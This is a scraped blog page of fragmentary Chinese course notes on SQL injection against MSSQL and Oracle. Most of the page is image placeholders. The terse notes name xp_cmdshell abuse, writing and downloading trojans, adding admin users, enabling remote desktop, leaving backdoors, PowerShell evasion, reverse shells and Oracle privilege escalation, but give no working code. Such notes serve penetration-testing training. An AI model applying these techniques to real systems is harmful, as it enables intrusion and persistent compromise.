渗透测试-注入攻击专题_第737张图片
渗透测试-注入攻击专题_第738张图片

渗透测试-注入攻击专题_第739张图片

关闭default 这个 127.0.0.1 本地 站渗透测试-注入攻击专题_第740张图片
渗透测试-注入攻击专题_第741张图片
渗透测试-注入攻击专题_第742张图片
localsystem 是 安装时候 的 权限 SqlServer

渗透测试-注入攻击专题_第743张图片

  • 修改项目

渗透测试-注入攻击专题_第744张图片
渗透测试-注入攻击专题_第745张图片
渗透测试-注入攻击专题_第746张图片
渗透测试-注入攻击专题_第747张图片
渗透测试-注入攻击专题_第748张图片
渗透测试-注入攻击专题_第749张图片
渗透测试-注入攻击专题_第750张图片
渗透测试-注入攻击专题_第751张图片渗透测试-注入攻击专题_第752张图片
直接拼接
没过滤 参数化处理

渗透测试-注入攻击专题_第753张图片

渗透测试-注入攻击专题_第754张图片
渗透测试-注入攻击专题_第755张图片
渗透测试-注入攻击专题_第756张图片
渗透测试-注入攻击专题_第757张图片

  • https://websec.ca/kb/sql_injection

sql注入备忘录

渗透测试-注入攻击专题_第758张图片
渗透测试-注入攻击专题_第759张图片

5.2 MsSQL数据库注入

 MSSQL(MicroSoft SQL Server数据库)
微软开发的关系型数据库管理系统DBMS
较大型的数据库
提供数据库的从服务器到终端的完整的解决方案,
数据库管理系统SSMS(SQL Server Managerment Studio),是一个用于建立、使用和维护数据库的集成开发环境。 端口号:1433

渗透测试-注入攻击专题_第760张图片
存储过程
视图名 函数名
站库分离
多语句注入

渗透测试-注入攻击专题_第761张图片
TSQL 数据语言
mssql 大量存在 存储过程

形成中间代码 存放在 数据库中

特定功能 第一次编译后直接运行 不需要再次编译

xp_cmdshell存储过程 让攻击者方便

渗透测试-注入攻击专题_第762张图片

管理员自己创建的 存储过程 审计
实现越权

渗透测试-注入攻击专题_第763张图片
渗透测试-注入攻击专题_第764张图片
渗透测试-注入攻击专题_第765张图片

渗透测试-注入攻击专题_第766张图片
无回显 盲注

渗透测试-注入攻击专题_第767张图片
在这里插入图片描述

% 为模糊匹配
渗透测试-注入攻击专题_第768张图片

  • and 布尔探测 数据库版本

渗透测试-注入攻击专题_第769张图片
渗透测试-注入攻击专题_第770张图片

… 两个 点省略 dbo 架构

渗透测试-注入攻击专题_第771张图片
渗透测试-注入攻击专题_第772张图片
渗透测试-注入攻击专题_第773张图片
渗透测试-注入攻击专题_第774张图片
渗透测试-注入攻击专题_第775张图片
渗透测试-注入攻击专题_第776张图片
渗透测试-注入攻击专题_第777张图片

与mysql 不一样的 地方

渗透测试-注入攻击专题_第778张图片
渗透测试-注入攻击专题_第779张图片
渗透测试-注入攻击专题_第780张图片

sysobjects存放 数据库中 一些对象

面向对象 思想

xpath 查询 这些对象 类别
渗透测试-注入攻击专题_第781张图片
渗透测试-注入攻击专题_第782张图片
渗透测试-注入攻击专题_第783张图片

渗透测试-注入攻击专题_第784张图片

top 与 limit

渗透测试-注入攻击专题_第785张图片渗透测试-注入攻击专题_第786张图片

渗透测试-注入攻击专题_第787张图片
not in 排除

渗透测试-注入攻击专题_第788张图片
渗透测试-注入攻击专题_第789张图片
information_schema 视图
渗透测试-注入攻击专题_第790张图片
渗透测试-注入攻击专题_第791张图片
渗透测试-注入攻击专题_第792张图片
mysql pdo 多语句查询

渗透测试-注入攻击专题_第793张图片
渗透测试-注入攻击专题_第794张图片
是不允许 dml调用 dcl 类型

绕过

渗透测试-注入攻击专题_第795张图片
在这里插入图片描述

渗透测试-注入攻击专题_第796张图片
渗透测试-注入攻击专题_第797张图片
渗透测试-注入攻击专题_第798张图片
渗透测试-注入攻击专题_第799张图片
渗透测试-注入攻击专题_第800张图片
渗透测试-注入攻击专题_第801张图片
多语句 注入 闭合
渗透测试-注入攻击专题_第802张图片渗透测试-注入攻击专题_第803张图片

  • 要求数据库权限
    渗透测试-注入攻击专题_第804张图片
    渗透测试-注入攻击专题_第805张图片
    渗透测试-注入攻击专题_第806张图片
    创建 表 再从表中 盲注 布尔注入
    渗透测试-注入攻击专题_第807张图片

渗透测试-注入攻击专题_第808张图片

bulk insert 大量插入

渗透测试-注入攻击专题_第809张图片
渗透测试-注入攻击专题_第810张图片

声明变量

渗透测试-注入攻击专题_第811张图片
渗透测试-注入攻击专题_第812张图片
渗透测试-注入攻击专题_第813张图片

渗透测试-注入攻击专题_第814张图片
渗透测试-注入攻击专题_第815张图片
渗透测试-注入攻击专题_第816张图片
渗透测试-注入攻击专题_第817张图片
渗透测试-注入攻击专题_第818张图片
渗透测试-注入攻击专题_第819张图片
渗透测试-注入攻击专题_第820张图片
dbo 伪造备份 写入

渗透测试-注入攻击专题_第821张图片
渗透测试-注入攻击专题_第822张图片
渗透测试-注入攻击专题_第823张图片
渗透测试-注入攻击专题_第824张图片
渗透测试-注入攻击专题_第825张图片
渗透测试-注入攻击专题_第826张图片
渗透测试-注入攻击专题_第827张图片
渗透测试-注入攻击专题_第828张图片

  • 必须 有 数据库 做过备份
    渗透测试-注入攻击专题_第829张图片

写入 二进制 木马

渗透测试-注入攻击专题_第830张图片

渗透测试-注入攻击专题_第831张图片
渗透测试-注入攻击专题_第832张图片
下载 木马

渗透测试-注入攻击专题_第833张图片
14版本 默认
渗透测试-注入攻击专题_第834张图片

渗透测试-注入攻击专题_第835张图片
渗透测试-注入攻击专题_第836张图片
渗透测试-注入攻击专题_第837张图片

5.3 MsSQL数据库注入

盲注 遍历 数据管理员创建的 存储过程 安全审计 很常见
数据库不安全的 配置属性

渗透测试-注入攻击专题_第838张图片

渗透测试-注入攻击专题_第839张图片
渗透测试-注入攻击专题_第840张图片
渗透测试-注入攻击专题_第841张图片
渗透测试-注入攻击专题_第842张图片

cmder

渗透测试-注入攻击专题_第843张图片
渗透测试-注入攻击专题_第844张图片
渗透测试-注入攻击专题_第845张图片

-p 加 攻击参数

渗透测试-注入攻击专题_第846张图片
在这里插入图片描述
渗透测试-注入攻击专题_第847张图片
渗透测试-注入攻击专题_第848张图片
渗透测试-注入攻击专题_第849张图片
渗透测试-注入攻击专题_第850张图片

渗透测试-注入攻击专题_第851张图片
渗透测试-注入攻击专题_第852张图片
渗透测试-注入攻击专题_第853张图片
渗透测试-注入攻击专题_第854张图片
渗透测试-注入攻击专题_第855张图片
渗透测试-注入攻击专题_第856张图片
渗透测试-注入攻击专题_第857张图片

添加用户
管理员
开启 远程桌面 控制

在这里插入图片描述
渗透测试-注入攻击专题_第858张图片
安装权限

渗透测试-注入攻击专题_第859张图片
渗透测试-注入攻击专题_第860张图片
渗透测试-注入攻击专题_第861张图片

services.msc

渗透测试-注入攻击专题_第862张图片
权限修改

渗透测试-注入攻击专题_第863张图片
渗透测试-注入攻击专题_第864张图片
08 开启

渗透测试-注入攻击专题_第865张图片
无法 多语句执行

也没法 子语句调用

渗透测试-注入攻击专题_第866张图片
渗透测试-注入攻击专题_第867张图片
遍历 存储过程

渗透测试-注入攻击专题_第868张图片
同一个 域渗透

后渗透 攻击 流量 转发内网

powershell 免杀 处理

渗透测试-注入攻击专题_第869张图片
渗透测试-注入攻击专题_第870张图片
渗透测试-注入攻击专题_第871张图片
渗透测试-注入攻击专题_第872张图片
渗透测试-注入攻击专题_第873张图片

渗透测试-注入攻击专题_第874张图片

渗透测试-注入攻击专题_第875张图片
渗透测试-注入攻击专题_第876张图片
在这里插入图片描述

渗透测试-注入攻击专题_第877张图片在这里插入图片描述
渗透测试-注入攻击专题_第878张图片
渗透测试-注入攻击专题_第879张图片
渗透测试-注入攻击专题_第880张图片
渗透测试-注入攻击专题_第881张图片
渗透测试-注入攻击专题_第882张图片
在这里插入图片描述
权限 敏感信息 审计

渗透测试-注入攻击专题_第883张图片
渗透测试-注入攻击专题_第884张图片
渗透测试-注入攻击专题_第885张图片
渗透测试-注入攻击专题_第886张图片
渗透测试-注入攻击专题_第887张图片
渗透测试-注入攻击专题_第888张图片
渗透测试-注入攻击专题_第889张图片渗透测试-注入攻击专题_第890张图片
渗透测试-注入攻击专题_第891张图片
python R 语言命令
留下后门

在这里插入图片描述
渗透测试-注入攻击专题_第892张图片

第六章:Oracle数据库注入

6.1 Oracle数据库环境搭建

渗透测试-注入攻击专题_第893张图片

tomcat搭建 eclipse

渗透测试-注入攻击专题_第894张图片
渗透测试-注入攻击专题_第895张图片
关键字绕过、waf绕过
都差不多

语言 和 权限结构 + 提权操作 盲注 函数

数据中心 有 很多分支
存储过程 提权

渗透测试-注入攻击专题_第896张图片

渗透测试-注入攻击专题_第897张图片

渗透测试-注入攻击专题_第898张图片
渗透测试-注入攻击专题_第899张图片
渗透测试-注入攻击专题_第900张图片
渗透测试-注入攻击专题_第901张图片
渗透测试-注入攻击专题_第902张图片
渗透测试-注入攻击专题_第903张图片
渗透测试-注入攻击专题_第904张图片
渗透测试-注入攻击专题_第905张图片
系统权限 和 对象权限 权限传递方式不一样
撤销 影响不一样

渗透测试-注入攻击专题_第906张图片
在这里插入图片描述
渗透测试-注入攻击专题_第907张图片
渗透测试-注入攻击专题_第908张图片
渗透测试-注入攻击专题_第909张图片
渗透测试-注入攻击专题_第910张图片
渗透测试-注入攻击专题_第911张图片
授权撤销后 会不会收回
渗透测试-注入攻击专题_第912张图片
面向过程 特性

渗透测试-注入攻击专题_第913张图片
渗透测试-注入攻击专题_第914张图片
渗透测试-注入攻击专题_第915张图片
渗透测试-注入攻击专题_第916张图片
渗透测试-注入攻击专题_第917张图片
渗透测试-注入攻击专题_第918张图片
在这里插入图片描述
渗透测试-注入攻击专题_第919张图片
渗透测试-注入攻击专题_第920张图片

6.2 Oracle数据库注入

渗透测试-注入攻击专题_第921张图片
渗透测试-注入攻击专题_第922张图片

  • 查询 必须 跟上表名 或者 dual虚拟表 对 select 语句进行补充

  • mysql 查询 会有 数据类型的 转换 (一种弱 匹配漏洞)

渗透测试-注入攻击专题_第923张图片渗透测试-注入攻击专题_第924张图片

oracle 注入测试方法

渗透测试-注入攻击专题_第925张图片

  • 在null 替换 关键字 ctrl F 寻找 回显字符
  • 表名 列名 加 双引号 order by 判断列数 渗透测试-注入攻击专题_第926张图片

渗透测试-注入攻击专题_第927张图片
渗透测试-注入攻击专题_第928张图片渗透测试-注入攻击专题_第929张图片

渗透测试-注入攻击专题_第930张图片

  • sys.v_$version 数据库版本信息 备份全局的视图
    渗透测试-注入攻击专题_第931张图片

渗透测试-注入攻击专题_第932张图片

  • 查询数据表
    渗透测试-注入攻击专题_第933张图片
  • oracle 用 ROWNUM 来筛选 数据
    渗透测试-注入攻击专题_第934张图片

<> == !=号

渗透测试-注入攻击专题_第935张图片

渗透测试-注入攻击专题_第936张图片

报错注入 盲注

web页面上 是 500 报错信息

  • get_host_name 参数类型 不匹配导致 ip ----字符串

渗透测试-注入攻击专题_第937张图片
渗透测试-注入攻击专题_第938张图片渗透测试-注入攻击专题_第939张图片

  • 主题词 表 报错
    在这里插入图片描述
    渗透测试-注入攻击专题_第940张图片

  • upper 全部结果 大写

  • XMLtype 内 参数 chr ASCII方式 解析为字符

  • 渗透测试-注入攻击专题_第941张图片

  • || 字符串拼接

  • 查表 为< : > xml 一定格式要求

回显时候 数据带空格 / 会导致 数据被截断 数据显示 不完全
加别的函数 把 空格 替换成 其他字符 /空

渗透测试-注入攻击专题_第942张图片

渗透测试-注入攻击专题_第943张图片

渗透测试-注入攻击专题_第944张图片

参数 类型不匹配 导致报错
错误信息 被 攻击者 发现 系统敏感数据

  • web 应用 错误 没有被 及时捕捉 和 处理 直接 输出 在 web 页面

渗透测试-注入攻击专题_第945张图片

  • 布尔盲注 为 返回 0 /1 页面不同

渗透测试-注入攻击专题_第946张图片

渗透测试-注入攻击专题_第947张图片
渗透测试-注入攻击专题_第948张图片
渗透测试-注入攻击专题_第949张图片
渗透测试-注入攻击专题_第950张图片
渗透测试-注入攻击专题_第951张图片
渗透测试-注入攻击专题_第952张图片
渗透测试-注入攻击专题_第953张图片
渗透测试-注入攻击专题_第954张图片
渗透测试-注入攻击专题_第955张图片
渗透测试-注入攻击专题_第956张图片

  • 外带 发送 request 请求
    渗透测试-注入攻击专题_第957张图片
    渗透测试-注入攻击专题_第958张图片
    渗透测试-注入攻击专题_第959张图片
    渗透测试-注入攻击专题_第960张图片

6.3 Oracle数据库注入

  • oracle 提权操作
    渗透测试-注入攻击专题_第961张图片
    命令执行 提升权限

linux oracle 反弹 shell

渗透测试-注入攻击专题_第962张图片

  • 用户 登录名 口令
    远程登录 提权

  • 存储过程 权限 定义 调用
    渗透测试-注入攻击专题_第963张图片
    渗透测试-注入攻击专题_第964张图片

  • DBMS_EXPORT_EXTENSION
    渗透测试-注入攻击专题_第965张图片在这里插入图片描述

渗透测试-注入攻击专题_第966张图片
渗透测试-注入攻击专题_第967张图片
渗透测试-注入攻击专题_第968张图片
引入 双引号 隔离 之前的语句
去执行 我们插入的 sql 语句

渗透测试-注入攻击专题_第969张图片
渗透测试-注入攻击专题_第970张图片
执行
sys 权限执行 插入 语句
渗透测试-注入攻击专题_第971张图片

创建 一个 java 库
调用 java 虚拟机 底层函数

渗透测试-注入攻击专题_第972张图片
在这里插入图片描述
渗透测试-注入攻击专题_第973张图片渗透测试-注入攻击专题_第974张图片
渗透测试-注入攻击专题_第975张图片
渗透测试-注入攻击专题_第976张图片
begin dbms_java.grant_permission

语法格式


渗透测试-注入攻击专题_第977张图片
渗透测试-注入攻击专题_第978张图片
渗透测试-注入攻击专题_第979张图片

sys dba权限 赋予 public

渗透测试-注入攻击专题_第980张图片
渗透测试-注入攻击专题_第981张图片
渗透测试-注入攻击专题_第982张图片
![在这里插入图片描述](https://img-blog.csdnimg.cn/c20de74867b640b1a7d4c1aa7

你可能感兴趣的:(sql,mysql,数据库)